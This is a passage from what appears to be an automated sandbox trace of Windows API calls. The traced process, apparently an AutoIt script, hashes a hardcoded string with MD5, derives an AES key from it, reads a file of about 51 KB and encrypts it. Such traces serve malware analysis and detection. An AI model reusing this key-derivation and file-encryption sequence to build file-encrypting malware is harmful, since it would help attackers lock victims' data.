lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.831] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.831] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.832] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.832] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.832] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.832] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0021.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0021.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b180, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0021.833] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0021.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0021.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b900, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0021.834] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.834] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0021.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417ae40, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0021.835] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0021.835] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418b9f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0021.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.836] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.836] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.836] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.836] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.836] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0021.836] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.836] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0021.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.837] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.838] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0021.838] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xc9eb, lpOverlapped=0x0) returned 1 [0021.840] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0021.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.842] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0021.842] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.843] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0021.843] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.843] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0021.843] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.843] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.843] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.843] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0021.844] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0021.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417ac20, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0021.845] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0021.845] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064c70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0021.845] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.846] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.846] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.846] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.847] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.847] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.847] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.847] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xc9eb, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xc9f0) returned 1 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.847] CharLowerBuffW (in: lpsz="byte[51697]", cchLength=0xb | out: lpsz="byte[51697]") returned 0xb [0021.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.848] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.848] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.848] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.848] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e67d0*, pdwDataLen=0xe8f3dfdf68*=0xc9eb, dwBufLen=0xc9f0 | out: pbData=0xe8f41e67d0*, pdwDataLen=0xe8f3dfdf68*=0xc9f0) returned 1 [0021.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.848] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.849] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.849] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.849] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.849] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.849] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.849] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.849] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.849] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.849] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.849] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.849] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.851] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.851] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.851] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.852] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0021.852] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.852] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.852] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0021.852] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.852] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0021.852] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.852] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0021.852] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0021.852] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.853] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0021.853] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.853] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0021.853] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0021.853] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.853] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0021.854] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 